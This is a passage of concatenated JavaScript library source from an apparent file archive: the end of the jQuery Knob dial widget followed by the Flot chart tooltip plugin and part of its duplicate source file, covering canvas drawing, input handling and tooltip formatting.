this.$.bind( 'change blur', function () { s.val(s._validate(s.o.parse(s.$.val()))); } ); } !this.o.displayInput && this.$.hide(); // adds needed DOM elements (canvas, div) this.$c = $(document.createElement('canvas')).attr({ width: this.o.width, height: this.o.height }); // wraps all elements in a div // add to DOM before Canvas init is triggered this.$div = $('<div style="' + (this.o.inline ? 'display:inline;' : '') + 'width:' + this.o.width + 'px;height:' + this.o.height + 'px;' + '"></div>'); this.$.wrap(this.$div).before(this.$c); this.$div = this.$.parent(); if (typeof G_vmlCanvasManager !== 'undefined') { G_vmlCanvasManager.initElement(this.$c[0]); } this.c = this.$c[0].getContext ? this.$c[0].getContext('2d') : null; if (!this.c) { throw { name: "CanvasNotSupportedException", message: "Canvas not supported. Please use excanvas on IE8.0.", toString: function(){return this.name + ": " + this.message} } } // hdpi support this.scale = (window.devicePixelRatio || 1) / ( this.c.webkitBackingStorePixelRatio || this.c.mozBackingStorePixelRatio || this.c.msBackingStorePixelRatio || this.c.oBackingStorePixelRatio || this.c.backingStorePixelRatio || 1 ); // detects relative width / height this.relativeWidth = this.o.width % 1 !== 0 && this.o.width.indexOf('%'); this.relativeHeight = this.o.height % 1 !== 0 && this.o.height.indexOf('%'); this.relative = this.relativeWidth || this.relativeHeight; // computes size and carves the component this._carve(); // prepares props for transaction if (this.v instanceof Object) { this.cv = {}; this.copy(this.v, this.cv); } else { this.cv = this.v; } // binds configure event this.$ .bind("configure", cf) .parent() .bind("configure", cf); // finalize init this._listen() ._configure() ._xy() .init(); this.isInit = true; this.$.val(this.o.format(this.v)); this._draw(); return this; }; this._carve = function() { if (this.relative) { var w = this.relativeWidth ? this.$div.parent().width() * parseInt(this.o.width) / 100 : this.$div.parent().width(), h = this.relativeHeight ? this.$div.parent().height() * parseInt(this.o.height) / 100 : this.$div.parent().height(); // apply relative this.w = this.h = Math.min(w, h); } else { this.w = this.o.width; this.h = this.o.height; } // finalize div this.$div.css({ 'width': this.w + 'px', 'height': this.h + 'px' }); // finalize canvas with computed width this.$c.attr({ width: this.w, height: this.h }); // scaling if (this.scale !== 1) { this.$c[0].width = this.$c[0].width * this.scale; this.$c[0].height = this.$c[0].height * this.scale; this.$c.width(this.w); this.$c.height(this.h); } return this; } this._draw = function () { // canvas pre-rendering var d = true; s.g = s.c; s.clear(); s.dH && (d = s.dH()); d !== false && s.draw(); }; this._touch = function (e) { var touchMove = function (e) { var v = s.xy2val( e.originalEvent.touches[s.t].pageX, e.originalEvent.touches[s.t].pageY ); if (v == s.cv) return; if (s.cH && s.cH(v) === false) return; s.change(s._validate(v)); s._draw(); }; // get touches index this.t = k.c.t(e); // First touch touchMove(e); // Touch events listeners k.c.d .bind("touchmove.k", touchMove) .bind( "touchend.k", function () { k.c.d.unbind('touchmove.k touchend.k'); s.val(s.cv); } ); return this; }; this._mouse = function (e) { var mouseMove = function (e) { var v = s.xy2val(e.pageX, e.pageY); if (v == s.cv) return; if (s.cH && (s.cH(v) === false)) return; s.change(s._validate(v)); s._draw(); }; // First click mouseMove(e); // Mouse events listeners k.c.d .bind("mousemove.k", mouseMove) .bind( // Escape key cancel current change "keyup.k", function (e) { if (e.keyCode === 27) { k.c.d.unbind("mouseup.k mousemove.k keyup.k"); if (s.eH && s.eH() === false) return; s.cancel(); } } ) .bind( "mouseup.k", function (e) { k.c.d.unbind('mousemove.k mouseup.k keyup.k'); s.val(s.cv); } ); return this; }; this._xy = function () { var o = this.$c.offset(); this.x = o.left; this.y = o.top; return this; }; this._listen = function () { if (!this.o.readOnly) { this.$c .bind( "mousedown", function (e) { e.preventDefault(); s._xy()._mouse(e); } ) .bind( "touchstart", function (e) { e.preventDefault(); s._xy()._touch(e); } ); this.listen(); } else { this.$.attr('readonly', 'readonly'); } if (this.relative) { $(window).resize(function() { s._carve().init(); s._draw(); }); } return this; }; this._configure = function () { // Hooks if (this.o.draw) this.dH = this.o.draw; if (this.o.change) this.cH = this.o.change; if (this.o.cancel) this.eH = this.o.cancel; if (this.o.release) this.rH = this.o.release; if (this.o.displayPrevious) { this.pColor = this.h2rgba(this.o.fgColor, "0.4"); this.fgColor = this.h2rgba(this.o.fgColor, "0.6"); } else { this.fgColor = this.o.fgColor; } return this; }; this._clear = function () { this.$c[0].width = this.$c[0].width; }; this._validate = function (v) { var val = (~~ (((v < 0) ? -0.5 : 0.5) + (v/this.o.step))) * this.o.step; return Math.round(val * 100) / 100; }; // Abstract methods this.listen = function () {}; // on start, one time this.extend = function () {}; // each time configure triggered this.init = function () {}; // each time configure triggered this.change = function (v) {}; // on change this.val = function (v) {}; // on release this.xy2val = function (x, y) {}; // this.draw = function () {}; // on change / on release this.clear = function () { this._clear(); }; // Utils this.h2rgba = function (h, a) { var rgb; h = h.substring(1,7) rgb = [ parseInt(h.substring(0,2), 16), parseInt(h.substring(2,4), 16), parseInt(h.substring(4,6), 16) ]; return "rgba(" + rgb[0] + "," + rgb[1] + "," + rgb[2] + "," + a + ")"; }; this.copy = function (f, t) { for (var i in f) { t[i] = f[i]; } }; }; /** * k.Dial */ k.Dial = function () { k.o.call(this); this.startAngle = null; this.xy = null; this.radius = null; this.lineWidth = null; this.cursorExt = null; this.w2 = null; this.PI2 = 2*Math.PI; this.extend = function () { this.o = $.extend({ bgColor: this.$.data('bgcolor') || '#EEEEEE', angleOffset: this.$.data('angleoffset') || 0, angleArc: this.$.data('anglearc') || 360, inline: true }, this.o); }; this.val = function (v, triggerRelease) { if (null != v) { // reverse format v = this.o.parse(v); if (triggerRelease !== false && v != this.v && this.rH && this.rH(v) === false) { return; } this.cv = this.o.stopper ? max(min(v, this.o.max), this.o.min) : v; this.v = this.cv; this.$.val(this.o.format(this.v)); this._draw(); } else { return this.v; } }; this.xy2val = function (x, y) { var a, ret; a = Math.atan2( x - (this.x + this.w2), - (y - this.y - this.w2) ) - this.angleOffset; if (this.o.flip) { a = this.angleArc - a - this.PI2; } if (this.angleArc != this.PI2 && (a < 0) && (a > -0.5)) { // if isset angleArc option, set to min if .5 under min a = 0; } else if (a < 0) { a += this.PI2; } ret = (a * (this.o.max - this.o.min) / this.angleArc) + this.o.min; this.o.stopper && (ret = max(min(ret, this.o.max), this.o.min)); return ret; }; this.listen = function () { // bind MouseWheel var s = this, mwTimerStop, mwTimerRelease, mw = function (e) { e.preventDefault(); var ori = e.originalEvent, deltaX = ori.detail || ori.wheelDeltaX, deltaY = ori.detail || ori.wheelDeltaY, v = s._validate(s.o.parse(s.$.val())) + ( deltaX > 0 || deltaY > 0 ? s.o.step : deltaX < 0 || deltaY < 0 ? -s.o.step : 0 ); v = max(min(v, s.o.max), s.o.min); s.val(v, false); if (s.rH) { // Handle mousewheel stop clearTimeout(mwTimerStop); mwTimerStop = setTimeout(function () { s.rH(v); mwTimerStop = null; }, 100); // Handle mousewheel releases if (!mwTimerRelease) { mwTimerRelease = setTimeout(function () { if (mwTimerStop) s.rH(v); mwTimerRelease = null; }, 200); } } }, kval, to, m = 1, kv = { 37: -s.o.step, 38: s.o.step, 39: s.o.step, 40: -s.o.step }; this.$ .bind( "keydown", function (e) { var kc = e.keyCode; // numpad support if (kc >= 96 && kc <= 105) { kc = e.keyCode = kc - 48; } kval = parseInt(String.fromCharCode(kc)); if (isNaN(kval)) { (kc !== 13) // enter && kc !== 8 // bs && kc !== 9 // tab && kc !== 189 // - && (kc !== 190 || s.$.val().match(/\./)) // . allowed once && e.preventDefault(); // arrows if ($.inArray(kc,[37,38,39,40]) > -1) { e.preventDefault(); var v = s.o.parse(s.$.val()) + kv[kc] * m; s.o.stopper && (v = max(min(v, s.o.max), s.o.min)); s.change(s._validate(v)); s._draw(); // long time keydown speed-up to = window.setTimeout(function () { m *= 2; }, 30); } } } ) .bind( "keyup", function (e) { if (isNaN(kval)) { if (to) { window.clearTimeout(to); to = null; m = 1; s.val(s.$.val()); } } else { // kval postcond (s.$.val() > s.o.max && s.$.val(s.o.max)) || (s.$.val() < s.o.min && s.$.val(s.o.min)); } } ); this.$c.bind("mousewheel DOMMouseScroll", mw); this.$.bind("mousewheel DOMMouseScroll", mw) }; this.init = function () { if (this.v < this.o.min || this.v > this.o.max) { this.v = this.o.min; } this.$.val(this.v); this.w2 = this.w / 2; this.cursorExt = this.o.cursor / 100; this.xy = this.w2 * this.scale; this.lineWidth = this.xy * this.o.thickness; this.lineCap = this.o.lineCap; this.radius = this.xy - this.lineWidth / 2; this.o.angleOffset && (this.o.angleOffset = isNaN(this.o.angleOffset) ? 0 : this.o.angleOffset); this.o.angleArc && (this.o.angleArc = isNaN(this.o.angleArc) ? this.PI2 : this.o.angleArc); // deg to rad this.angleOffset = this.o.angleOffset * Math.PI / 180; this.angleArc = this.o.angleArc * Math.PI / 180; // compute start and end angles this.startAngle = 1.5 * Math.PI + this.angleOffset; this.endAngle = 1.5 * Math.PI + this.angleOffset + this.angleArc; var s = max( String(Math.abs(this.o.max)).length, String(Math.abs(this.o.min)).length, 2 ) + 2; this.o.displayInput && this.i.css({ 'width' : ((this.w / 2 + 4) >> 0) + 'px', 'height' : ((this.w / 3) >> 0) + 'px', 'position' : 'absolute', 'vertical-align' : 'middle', 'margin-top' : ((this.w / 3) >> 0) + 'px', 'margin-left' : '-' + ((this.w * 3 / 4 + 2) >> 0) + 'px', 'border' : 0, 'background' : 'none', 'font' : this.o.fontWeight + ' ' + ((this.w / s) >> 0) + 'px ' + this.o.font, 'text-align' : 'center', 'color' : this.o.inputColor || this.o.fgColor, 'padding' : '0px', '-webkit-appearance': 'none' }) || this.i.css({ 'width': '0px', 'visibility': 'hidden' }); }; this.change = function (v) { this.cv = v; this.$.val(this.o.format(v)); }; this.angle = function (v) { return (v - this.o.min) * this.angleArc / (this.o.max - this.o.min); }; this.arc = function (v) { var sa, ea; v = this.angle(v); if (this.o.flip) { sa = this.endAngle + 0.00001; ea = sa - v - 0.00001; } else { sa = this.startAngle - 0.00001; ea = sa + v + 0.00001; } this.o.cursor && (sa = ea - this.cursorExt) && (ea = ea + this.cursorExt); return { s: sa, e: ea, d: this.o.flip && !this.o.cursor }; }; this.draw = function () { var c = this.g, // context a = this.arc(this.cv), // Arc pa, // Previous arc r = 1; c.lineWidth = this.lineWidth; c.lineCap = this.lineCap; if (this.o.bgColor !== "none") { c.beginPath(); c.strokeStyle = this.o.bgColor; c.arc(this.xy, this.xy, this.radius, this.endAngle - 0.00001, this.startAngle + 0.00001, true); c.stroke(); } if (this.o.displayPrevious) { pa = this.arc(this.v); c.beginPath(); c.strokeStyle = this.pColor; c.arc(this.xy, this.xy, this.radius, pa.s, pa.e, pa.d); c.stroke(); r = this.cv == this.v; } c.beginPath(); c.strokeStyle = r ? this.o.fgColor : this.fgColor ; c.arc(this.xy, this.xy, this.radius, a.s, a.e, a.d); c.stroke(); }; this.cancel = function () { this.val(this.v); }; }; $.fn.dial = $.fn.knob = function (o) { return this.each( function () { var d = new k.Dial(); d.o = o; d.$ = $(this); d.run(); } ).parent(); }; })); jquery.flot.tooltip.js000064400000057507151677327500011110 0ustar00/* * jquery.flot.tooltip * * description: easy-to-use tooltips for Flot charts * version: 0.9.0 * authors: Krzysztof Urbas @krzysu [myviews.pl],Evan Steinkerchner @Roundaround * website: https://github.com/krzysu/flot.tooltip * * build on 2016-07-26 * released under MIT License, 2012 */ (function ($) { // plugin options, default values var defaultOptions = { tooltip: { show: false, cssClass: "flotTip", content: "%s | X: %x | Y: %y", // allowed templates are: // %s -> series label, // %c -> series color, // %lx -> x axis label (requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels), // %ly -> y axis label (requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels), // %x -> X value, // %y -> Y value, // %x.2 -> precision of X value, // %p -> percent // %n -> value (not percent) of pie chart xDateFormat: null, yDateFormat: null, monthNames: null, dayNames: null, shifts: { x: 10, y: 20 }, defaultTheme: true, snap: true, lines: false, clickTips: false, // callbacks onHover: function (flotItem, $tooltipEl) {}, $compat: false } }; // dummy default options object for legacy code (<0.8.5) - is deleted later defaultOptions.tooltipOpts = defaultOptions.tooltip; // object var FlotTooltip = function (plot) { // variables this.tipPosition = {x: 0, y: 0}; this.init(plot); }; // main plugin function FlotTooltip.prototype.init = function (plot) { var that = this; // detect other flot plugins var plotPluginsLength = $.plot.plugins.length; this.plotPlugins = []; if (plotPluginsLength) { for (var p = 0; p < plotPluginsLength; p++) { this.plotPlugins.push($.plot.plugins[p].name); } } plot.hooks.bindEvents.push(function (plot, eventHolder) { // get plot options that.plotOptions = plot.getOptions(); // for legacy (<0.8.5) implementations if (typeof(that.plotOptions.tooltip) === 'boolean') { that.plotOptions.tooltipOpts.show = that.plotOptions.tooltip; that.plotOptions.tooltip = that.plotOptions.tooltipOpts; delete that.plotOptions.tooltipOpts; } // if not enabled return if (that.plotOptions.tooltip.show === false || typeof that.plotOptions.tooltip.show === 'undefined') return; // shortcut to access tooltip options that.tooltipOptions = that.plotOptions.tooltip; if (that.tooltipOptions.$compat) { that.wfunc = 'width'; that.hfunc = 'height'; } else { that.wfunc = 'innerWidth'; that.hfunc = 'innerHeight'; } // create tooltip DOM element var $tip = that.getDomElement(); // bind event $( plot.getPlaceholder() ).bind("plothover", plothover); if (that.tooltipOptions.clickTips) { $( plot.getPlaceholder() ).bind("plotclick", plotclick); } that.clickmode = false; $(eventHolder).bind('mousemove', mouseMove); }); plot.hooks.shutdown.push(function (plot, eventHolder){ $(plot.getPlaceholder()).unbind("plothover", plothover); $(plot.getPlaceholder()).unbind("plotclick", plotclick); plot.removeTooltip(); $(eventHolder).unbind("mousemove", mouseMove); }); function mouseMove(e){ var pos = {}; pos.x = e.pageX; pos.y = e.pageY; plot.setTooltipPosition(pos); } /** * open the tooltip (if not already open) and freeze it on the current position till the next click */ function plotclick(event, pos, item) { if (! that.clickmode) { // it is the click activating the clicktip plothover(event, pos, item); if (that.getDomElement().is(":visible")) { $(plot.getPlaceholder()).unbind("plothover", plothover); that.clickmode = true; } } else { // it is the click deactivating the clicktip $( plot.getPlaceholder() ).bind("plothover", plothover); plot.hideTooltip(); that.clickmode = false; } } function plothover(event, pos, item) { // Simple distance formula. var lineDistance = function (p1x, p1y, p2x, p2y) { return Math.sqrt((p2x - p1x) * (p2x - p1x) + (p2y - p1y) * (p2y - p1y)); }; // Here is some voodoo magic for determining the distance to a line form a given point {x, y}. var dotLineLength = function (x, y, x0, y0, x1, y1, o) { if (o && !(o = function (x, y, x0, y0, x1, y1) { if (typeof x0 !== 'undefined') return { x: x0, y: y }; else if (typeof y0 !== 'undefined') return { x: x, y: y0 }; var left, tg = -1 / ((y1 - y0) / (x1 - x0)); return { x: left = (x1 * (x * tg - y + y0) + x0 * (x * -tg + y - y1)) / (tg * (x1 - x0) + y0 - y1), y: tg * left - tg * x + y }; } (x, y, x0, y0, x1, y1), o.x >= Math.min(x0, x1) && o.x <= Math.max(x0, x1) && o.y >= Math.min(y0, y1) && o.y <= Math.max(y0, y1)) ) { var l1 = lineDistance(x, y, x0, y0), l2 = lineDistance(x, y, x1, y1); return l1 > l2 ? l2 : l1; } else { var a = y0 - y1, b = x1 - x0, c = x0 * y1 - y0 * x1; return Math.abs(a * x + b * y + c) / Math.sqrt(a * a + b * b); } }; if (item) { plot.showTooltip(item, that.tooltipOptions.snap ? item : pos); } else if (that.plotOptions.series.lines.show && that.tooltipOptions.lines === true) { var maxDistance = that.plotOptions.grid.mouseActiveRadius; var closestTrace = { distance: maxDistance + 1 }; var ttPos = pos; $.each(plot.getData(), function (i, series) { var xBeforeIndex = 0, xAfterIndex = -1; // Our search here assumes our data is sorted via the x-axis. // TODO: Improve efficiency somehow - search smaller sets of data. for (var j = 1; j < series.data.length; j++) { if (series.data[j - 1][0] <= pos.x && series.data[j][0] >= pos.x) { xBeforeIndex = j - 1; xAfterIndex = j; } } if (xAfterIndex === -1) { plot.hideTooltip(); return; } var pointPrev = { x: series.data[xBeforeIndex][0], y: series.data[xBeforeIndex][1] }, pointNext = { x: series.data[xAfterIndex][0], y: series.data[xAfterIndex][1] }; var distToLine = dotLineLength(series.xaxis.p2c(pos.x), series.yaxis.p2c(pos.y), series.xaxis.p2c(pointPrev.x), series.yaxis.p2c(pointPrev.y), series.xaxis.p2c(pointNext.x), series.yaxis.p2c(pointNext.y), false); if (distToLine < closestTrace.distance) { var closestIndex = lineDistance(pointPrev.x, pointPrev.y, pos.x, pos.y) < lineDistance(pos.x, pos.y, pointNext.x, pointNext.y) ? xBeforeIndex : xAfterIndex; var pointSize = series.datapoints.pointsize; // Calculate the point on the line vertically closest to our cursor. var pointOnLine = [ pos.x, pointPrev.y + ((pointNext.y - pointPrev.y) * ((pos.x - pointPrev.x) / (pointNext.x - pointPrev.x))) ]; var item = { datapoint: pointOnLine, dataIndex: closestIndex, series: series, seriesIndex: i }; closestTrace = { distance: distToLine, item: item }; if (that.tooltipOptions.snap) { ttPos = { pageX: series.xaxis.p2c(pointOnLine[0]), pageY: series.yaxis.p2c(pointOnLine[1]) }; } } }); if (closestTrace.distance < maxDistance + 1) plot.showTooltip(closestTrace.item, ttPos); else plot.hideTooltip(); } else { plot.hideTooltip(); } } // Quick little function for setting the tooltip position. plot.setTooltipPosition = function (pos) { var $tip = that.getDomElement(); var totalTipWidth = $tip.outerWidth() + that.tooltipOptions.shifts.x; var totalTipHeight = $tip.outerHeight() + that.tooltipOptions.shifts.y; if ((pos.x - $(window).scrollLeft()) > ($(window)[that.wfunc]() - totalTipWidth)) { pos.x -= totalTipWidth; pos.x = Math.max(pos.x, 0); } if ((pos.y - $(window).scrollTop()) > ($(window)[that.hfunc]() - totalTipHeight)) { pos.y -= totalTipHeight; } /* The section applies the new positioning ONLY if pos.x and pos.y are numbers. If they are undefined or not a number, use the last known numerical position. This hack fixes a bug that kept pie charts from keeping their tooltip positioning. */ if (isNaN(pos.x)) { that.tipPosition.x = that.tipPosition.xPrev; } else { that.tipPosition.x = pos.x; that.tipPosition.xPrev = pos.x; } if (isNaN(pos.y)) { that.tipPosition.y = that.tipPosition.yPrev; } else { that.tipPosition.y = pos.y; that.tipPosition.yPrev = pos.y; } }; // Quick little function for showing the tooltip. plot.showTooltip = function (target, position, targetPosition) { var $tip = that.getDomElement(); // convert tooltip content template to real tipText var tipText = that.stringFormat(that.tooltipOptions.content, target); if (tipText === '') return; $tip.html(tipText); plot.setTooltipPosition({ x: that.tipPosition.x, y: that.tipPosition.y }); $tip.css({ left: that.tipPosition.x + that.tooltipOptions.shifts.x, top: that.tipPosition.y + that.tooltipOptions.shifts.y }).show(); // run callback if (typeof that.tooltipOptions.onHover === 'function') { that.tooltipOptions.onHover(target, $tip); } }; // Quick little function for hiding the tooltip. plot.hideTooltip = function () { that.getDomElement().hide().html(''); }; plot.removeTooltip = function() { that.getDomElement().remove(); }; }; /** * get or create tooltip DOM element * @return jQuery object */ FlotTooltip.prototype.getDomElement = function () { var $tip = $('<div>'); if (this.tooltipOptions && this.tooltipOptions.cssClass) { $tip = $('.' + this.tooltipOptions.cssClass); if( $tip.length === 0 ){ $tip = $('<div />').addClass(this.tooltipOptions.cssClass); $tip.appendTo('body').hide().css({position: 'absolute'}); if(this.tooltipOptions.defaultTheme) { $tip.css({ 'background': '#fff', 'z-index': '1040', 'padding': '0.4em 0.6em', 'border-radius': '0.5em', 'font-size': '0.8em', 'border': '1px solid #111', 'display': 'none', 'white-space': 'nowrap' }); } } } return $tip; }; /** * core function, create tooltip content * @param {string} content - template with tooltip content * @param {object} item - Flot item * @return {string} real tooltip content for current item */ FlotTooltip.prototype.stringFormat = function (content, item) { var percentPattern = /%p\.{0,1}(\d{0,})/; var seriesPattern = /%s/; var colorPattern = /%c/; var xLabelPattern = /%lx/; // requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels, will be ignored if plugin isn't loaded var yLabelPattern = /%ly/; // requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels, will be ignored if plugin isn't loaded var xPattern = /%x\.{0,1}(\d{0,})/; var yPattern = /%y\.{0,1}(\d{0,})/; var xPatternWithoutPrecision = "%x"; var yPatternWithoutPrecision = "%y"; var customTextPattern = "%ct"; var nPiePattern = "%n"; var x, y, customText, p, n; // for threshold plugin we need to read data from different place if (typeof item.series.threshold !== "undefined") { x = item.datapoint[0]; y = item.datapoint[1]; customText = item.datapoint[2]; } // for CurvedLines plugin we need to read data from different place else if (typeof item.series.curvedLines !== "undefined") { x = item.datapoint[0]; y = item.datapoint[1]; } else if (typeof item.series.lines !== "undefined" && item.series.lines.steps) { x = item.series.datapoints.points[item.dataIndex * 2]; y = item.series.datapoints.points[item.dataIndex * 2 + 1]; // TODO: where to find custom text in this variant? customText = ""; } else { x = item.series.data[item.dataIndex][0]; y = item.series.data[item.dataIndex][1]; customText = item.series.data[item.dataIndex][2]; } // I think this is only in case of threshold plugin if (item.series.label === null && item.series.originSeries) { item.series.label = item.series.originSeries.label; } // if it is a function callback get the content string if (typeof(content) === 'function') { content = content(item.series.label, x, y, item); } // the case where the passed content is equal to false if (typeof(content) === 'boolean' && !content) { return ''; } /* replacement of %ct and other multi-character templates must precede the replacement of single-character templates to avoid conflict between '%c' and '%ct' and similar substrings */ if (customText) { content = content.replace(customTextPattern, customText); } // percent match for pie charts and stacked percent if (typeof (item.series.percent) !== 'undefined') { p = item.series.percent; } else if (typeof (item.series.percents) !== 'undefined') { p = item.series.percents[item.dataIndex]; } if (typeof p === 'number') { content = this.adjustValPrecision(percentPattern, content, p); } // replace %n with number of items represented by slice in pie charts if (item.series.hasOwnProperty('pie')) { if (typeof item.series.data[0][1] !== 'undefined') { n = item.series.data[0][1]; } } if (typeof n === 'number') { content = content.replace(nPiePattern, n); } // series match if (typeof(item.series.label) !== 'undefined') { content = content.replace(seriesPattern, item.series.label); } else { //remove %s if label is undefined content = content.replace(seriesPattern, ""); } // color match if (typeof(item.series.color) !== 'undefined') { content = content.replace(colorPattern, item.series.color); } else { //remove %s if color is undefined content = content.replace(colorPattern, ""); } // x axis label match if (this.hasAxisLabel('xaxis', item)) { content = content.replace(xLabelPattern, item.series.xaxis.options.axisLabel); } else { //remove %lx if axis label is undefined or axislabels plugin not present content = content.replace(xLabelPattern, ""); } // y axis label match if (this.hasAxisLabel('yaxis', item)) { content = content.replace(yLabelPattern, item.series.yaxis.options.axisLabel); } else { //remove %ly if axis label is undefined or axislabels plugin not present content = content.replace(yLabelPattern, ""); } // time mode axes with custom dateFormat if (this.isTimeMode('xaxis', item) && this.isXDateFormat(item)) { content = content.replace(xPattern, this.timestampToDate(x, this.tooltipOptions.xDateFormat, item.series.xaxis.options)); } if (this.isTimeMode('yaxis', item) && this.isYDateFormat(item)) { content = content.replace(yPattern, this.timestampToDate(y, this.tooltipOptions.yDateFormat, item.series.yaxis.options)); } // set precision if defined if (typeof x === 'number') { content = this.adjustValPrecision(xPattern, content, x); } if (typeof y === 'number') { content = this.adjustValPrecision(yPattern, content, y); } // change x from number to given label, if given if (typeof item.series.xaxis.ticks !== 'undefined') { var ticks; if (this.hasRotatedXAxisTicks(item)) { // xaxis.ticks will be an empty array if tickRotor is being used, but the values are available in rotatedTicks ticks = 'rotatedTicks'; } else { ticks = 'ticks'; } // see https://github.com/krzysu/flot.tooltip/issues/65 var tickIndex = item.dataIndex + item.seriesIndex; for (var xIndex in item.series.xaxis[ticks]) { if (item.series.xaxis[ticks].hasOwnProperty(tickIndex) && !this.isTimeMode('xaxis', item)) { var valueX = (this.isCategoriesMode('xaxis', item)) ? item.series.xaxis[ticks][tickIndex].label : item.series.xaxis[ticks][tickIndex].v; if (valueX === x) { content = content.replace(xPattern, item.series.xaxis[ticks][tickIndex].label.replace(/\$/g, '$$$$')); } } } } // change y from number to given label, if given if (typeof item.series.yaxis.ticks !== 'undefined') { for (var yIndex in item.series.yaxis.ticks) { if (item.series.yaxis.ticks.hasOwnProperty(yIndex)) { var valueY = (this.isCategoriesMode('yaxis', item)) ? item.series.yaxis.ticks[yIndex].label : item.series.yaxis.ticks[yIndex].v; if (valueY === y) { content = content.replace(yPattern, item.series.yaxis.ticks[yIndex].label.replace(/\$/g, '$$$$')); } } } } // if no value customization, use tickFormatter by default if (typeof item.series.xaxis.tickFormatter !== 'undefined') { //escape dollar content = content.replace(xPatternWithoutPrecision, item.series.xaxis.tickFormatter(x, item.series.xaxis).replace(/\$/g, '$$')); } if (typeof item.series.yaxis.tickFormatter !== 'undefined') { //escape dollar content = content.replace(yPatternWithoutPrecision, item.series.yaxis.tickFormatter(y, item.series.yaxis).replace(/\$/g, '$$')); } return content; }; // helpers just for readability FlotTooltip.prototype.isTimeMode = function (axisName, item) { return (typeof item.series[axisName].options.mode !== 'undefined' && item.series[axisName].options.mode === 'time'); }; FlotTooltip.prototype.isXDateFormat = function (item) { return (typeof this.tooltipOptions.xDateFormat !== 'undefined' && this.tooltipOptions.xDateFormat !== null); }; FlotTooltip.prototype.isYDateFormat = function (item) { return (typeof this.tooltipOptions.yDateFormat !== 'undefined' && this.tooltipOptions.yDateFormat !== null); }; FlotTooltip.prototype.isCategoriesMode = function (axisName, item) { return (typeof item.series[axisName].options.mode !== 'undefined' && item.series[axisName].options.mode === 'categories'); }; // FlotTooltip.prototype.timestampToDate = function (tmst, dateFormat, options) { var theDate = $.plot.dateGenerator(tmst, options); return $.plot.formatDate(theDate, dateFormat, this.tooltipOptions.monthNames, this.tooltipOptions.dayNames); }; // FlotTooltip.prototype.adjustValPrecision = function (pattern, content, value) { var precision; var matchResult = content.match(pattern); if( matchResult !== null ) { if(RegExp.$1 !== '') { precision = RegExp.$1; value = value.toFixed(precision); // only replace content if precision exists, in other case use thickformater content = content.replace(pattern, value); } } return content; }; // other plugins detection below // check if flot-axislabels plugin (https://github.com/markrcote/flot-axislabels) is used and that an axis label is given FlotTooltip.prototype.hasAxisLabel = function (axisName, item) { return ($.inArray('axisLabels', this.plotPlugins) !== -1 && typeof item.series[axisName].options.axisLabel !== 'undefined' && item.series[axisName].options.axisLabel.length > 0); }; // check whether flot-tickRotor, a plugin which allows rotation of X-axis ticks, is being used FlotTooltip.prototype.hasRotatedXAxisTicks = function (item) { return ($.inArray('tickRotor',this.plotPlugins) !== -1 && typeof item.series.xaxis.rotatedTicks !== 'undefined'); }; // var init = function (plot) { new FlotTooltip(plot); }; // define Flot plugin $.plot.plugins.push({ init: init, options: defaultOptions, name: 'tooltip', version: '0.8.5' }); })(jQuery); jquery.flot.tooltip.source.js000064400000057020151677327500012375 0ustar00(function ($) { // plugin options, default values var defaultOptions = { tooltip: { show: false, cssClass: "flotTip", content: "%s | X: %x | Y: %y", // allowed templates are: // %s -> series label, // %c -> series color, // %lx -> x axis label (requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels), // %ly -> y axis label (requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels), // %x -> X value, // %y -> Y value, // %x.2 -> precision of X value, // %p -> percent // %n -> value (not percent) of pie chart xDateFormat: null, yDateFormat: null, monthNames: null, dayNames: null, shifts: { x: 10, y: 20 }, defaultTheme: true, snap: true, lines: false, clickTips: false, // callbacks onHover: function (flotItem, $tooltipEl) {}, $compat: false } }; // dummy default options object for legacy code (<0.8.5) - is deleted later defaultOptions.tooltipOpts = defaultOptions.tooltip; // object var FlotTooltip = function (plot) { // variables this.tipPosition = {x: 0, y: 0}; this.init(plot); }; // main plugin function FlotTooltip.prototype.init = function (plot) { var that = this; // detect other flot plugins var plotPluginsLength = $.plot.plugins.length; this.plotPlugins = []; if (plotPluginsLength) { for (var p = 0; p < plotPluginsLength; p++) { this.plotPlugins.push($.plot.plugins[p].name); } } plot.hooks.bindEvents.push(function (plot, eventHolder) { // get plot options that.plotOptions = plot.getOptions(); // for legacy (<0.8.5) implementations if (typeof(that.plotOptions.tooltip) === 'boolean') { that.plotOptions.tooltipOpts.show = that.plotOptions.tooltip; that.plotOptions.tooltip = that.plotOptions.tooltipOpts; delete that.plotOptions.tooltipOpts; } // if not enabled return if (that.plotOptions.tooltip.show === false || typeof that.plotOptions.tooltip.show === 'undefined') return; // shortcut to access tooltip options that.tooltipOptions = that.plotOptions.tooltip; if (that.tooltipOptions.$compat) { that.wfunc = 'width'; that.hfunc = 'height'; } else { that.wfunc = 'innerWidth'; that.hfunc = 'innerHeight'; } // create tooltip DOM element var $tip = that.getDomElement(); // bind event $( plot.getPlaceholder() ).bind("plothover", plothover); if (that.tooltipOptions.clickTips) { $( plot.getPlaceholder() ).bind("plotclick", plotclick); } that.clickmode = false; $(eventHolder).bind('mousemove', mouseMove); }); plot.hooks.shutdown.push(function (plot, eventHolder){ $(plot.getPlaceholder()).unbind("plothover", plothover); $(plot.getPlaceholder()).unbind("plotclick", plotclick); plot.removeTooltip(); $(eventHolder).unbind("mousemove", mouseMove); }); function mouseMove(e){ var pos = {}; pos.x = e.pageX; pos.y = e.pageY; plot.setTooltipPosition(pos); } /** * open the tooltip (if not already open) and freeze it on the current position till the next click */ function plotclick(event, pos, item) { if (! that.clickmode) { // it is the click activating the clicktip plothover(event, pos, item); if (that.getDomElement().is(":visible")) { $(plot.getPlaceholder()).unbind("plothover", plothover); that.clickmode = true; } } else { // it is the click deactivating the clicktip $( plot.getPlaceholder() ).bind("plothover", plothover); plot.hideTooltip(); that.clickmode = false; } } function plothover(event, pos, item) { // Simple distance formula. var lineDistance = function (p1x, p1y, p2x, p2y) { return Math.sqrt((p2x - p1x) * (p2x - p1x) + (p2y - p1y) * (p2y - p1y)); }; // Here is some voodoo magic for determining the distance to a line form a given point {x, y}. var dotLineLength = function (x, y, x0, y0, x1, y1, o) { if (o && !(o = function (x, y, x0, y0, x1, y1) { if (typeof x0 !== 'undefined') return { x: x0, y: y }; else if (typeof y0 !== 'undefined') return { x: x, y: y0 }; var left, tg = -1 / ((y1 - y0) / (x1 - x0)); return { x: left = (x1 * (x * tg - 